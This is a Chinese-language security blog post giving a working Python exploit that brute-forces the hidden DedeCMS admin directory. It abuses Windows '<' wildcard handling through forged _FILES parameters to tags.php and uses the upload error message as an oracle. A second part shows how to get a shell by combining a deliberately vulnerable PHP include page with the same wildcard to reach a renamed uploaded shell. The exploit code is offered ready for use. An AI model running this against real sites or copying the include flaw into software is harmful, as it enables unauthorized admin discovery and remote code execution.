0x01 dedecms 后台地址爆破
详细分析见文章:https://xianzhi.aliyun.com/forum/topic/2064
关键点:
- Windows环境
- 存在包含了
Common.inc.php
的php文件,如tags.php - 如何使用的是其他文件,如/plus/diy.php,则payload前面需要加
../
跳转到上一级目录
文章提供了一个php的exp,评论区也有其他的exp,我简单搞了一下py脚本,有点拙劣,但还算能用:
#coding:utf-8
#author:JuH0n
import requests
def sendpayload(url,payload):
data = {'dopost':'save',
'_FILES[b4dboy][tmp_name]':'./' + payload + '</images/admin_top_logo.gif',
'_FILES[b4dboy][name]':'0',
'_FILES[b4dboy][size]':'0',
'_FILES[b4dboy][type]':'image/gif'
}
r = requests.post(url=url,data=data)
# print r.content
if 'Upload filetype not allow !' in r.content:
return False
else:
return True
def exp():
List = list('abcdefghijklmnopqrstuvwxyz0123456789_')
domain = 'http://localhost/dedecms'#修改此处域名
url = domain + '/' + 'tags.php'
payload = ''
for x in List:
if payload !='':
break
for y in List:
print 'testing:',x+y
if sendpayload(url,payload+x+y):
payload += x+y
break
print 2,payload
for x in range(2,30):
if x!= len(payload):
break
for y in List:
if sendpayload(url,payload+y):
payload += y
print x+1,payload
break
admin_path = domain + '/' + payload
print '\nThe admin_path is:\t' + admin_path
exp()
0x02 通配符突破文件上传重命名getshell
然后还有一个奇淫技巧,就是当我们上传一个shell被重命名的时候,我们可以利用文件包含和通配符<
或者<<
来包含shell,从而达到getshell的目的。
新建两个文件,5149ff33ebec0e6ad37613ea30694c07.php、demo.php。
#5149ff33ebec0e6ad37613ea30694c07.php
<?php
phpinfo();
?>
# demo.php
<?php
$filename = $_GET["file"];
include $filename.".php";
?>
访问 http://localhost/demo.php?file=5<,即可成功包含5149ff33ebec0e6ad37613ea30694c07.php文件。